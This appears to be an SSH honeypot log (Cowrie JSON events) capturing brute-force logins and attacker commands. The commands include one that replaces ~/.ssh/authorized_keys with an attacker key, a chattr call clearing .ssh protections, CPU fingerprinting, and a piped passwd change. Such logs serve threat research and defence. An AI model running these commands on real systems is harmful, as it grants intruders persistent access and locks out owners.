{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.829436Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40212,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba54ab13091","protocol":"ssh","message":"New connection: 103.125.103.201:40212 (10.17.0.5:22) [session: 4ba54ab13091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.837026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.841554Z","src_ip":"103.125.103.201","session":"4ba54ab13091","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.963248Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.967316Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:04.083995Z","src_ip":"103.125.103.201","session":"4ba54ab13091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7658,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b8f4fb65adc","protocol":"ssh","message":"New connection: 131.161.219.137:7658 (159.203.135.109:22) [session: 2b8f4fb65adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:04.089257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:04.096798Z","src_ip":"131.161.219.137","session":"2b8f4fb65adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:04.225410Z","src_ip":"131.161.219.137","session":"2b8f4fb65adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:04.770835Z","src_ip":"131.161.219.137","session":"2b8f4fb65adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"q1w2e3r4","message":"login attempt [user1/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:05.048040Z","src_ip":"103.125.103.201","session":"4ba54ab13091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:05.901222Z","src_ip":"131.161.219.137","session":"2b8f4fb65adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7676,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f64e7e689b","protocol":"ssh","message":"New connection: 131.161.219.137:7676 (159.203.135.109:22) [session: c1f64e7e689b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.026266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.032369Z","src_ip":"131.161.219.137","session":"c1f64e7e689b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.161358Z","src_ip":"131.161.219.137","session":"c1f64e7e689b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":47118,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c20fcba965","protocol":"ssh","message":"New connection: 43.173.69.147:47118 (159.203.135.109:22) [session: c9c20fcba965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.206120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.211695Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.280107Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.293394Z","src_ip":"103.125.103.201","session":"4ba54ab13091","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2019","message":"login attempt [admin/admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.582109Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.706510Z","src_ip":"131.161.219.137","session":"c1f64e7e689b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.757684Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.760488Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.763907Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:06.834538Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.009887Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.013295Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.087355Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.090996Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":47024,"dst_ip":"159.203.135.109","dst_port":22,"session":"94b7600d4a93","protocol":"ssh","message":"New connection: 43.173.69.147:47024 (159.203.135.109:22) [session: 94b7600d4a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.152128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.155786Z","src_ip":"43.173.69.147","session":"94b7600d4a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.223881Z","src_ip":"43.173.69.147","session":"94b7600d4a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.526028Z","src_ip":"43.173.69.147","session":"94b7600d4a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:07.837724Z","src_ip":"131.161.219.137","session":"c1f64e7e689b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.013067Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.015962Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.147119Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.449248Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"123admin!@#\\nUNeavUBfYrvz\\nUNeavUBfYrvz\"|passwd|bash","message":"CMD: echo -e \"123admin!@#\\nUNeavUBfYrvz\\nUNeavUBfYrvz\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.452743Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.456714Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.460201Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/38b11feb53afbdba641530634c99b11512257444c4b3ebf9b3989b93e65ab96a","size":32,"shasum":"38b11feb53afbdba641530634c99b11512257444c4b3ebf9b3989b93e65ab96a","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/38b11feb53afbdba641530634c99b11512257444c4b3ebf9b3989b93e65ab96a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.592813Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.601696Z","src_ip":"43.173.69.147","session":"94b7600d4a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":47028,"dst_ip":"159.203.135.109","dst_port":22,"session":"734510fd4aa7","protocol":"ssh","message":"New connection: 43.173.69.147:47028 (159.203.135.109:22) [session: 734510fd4aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.661780Z"}
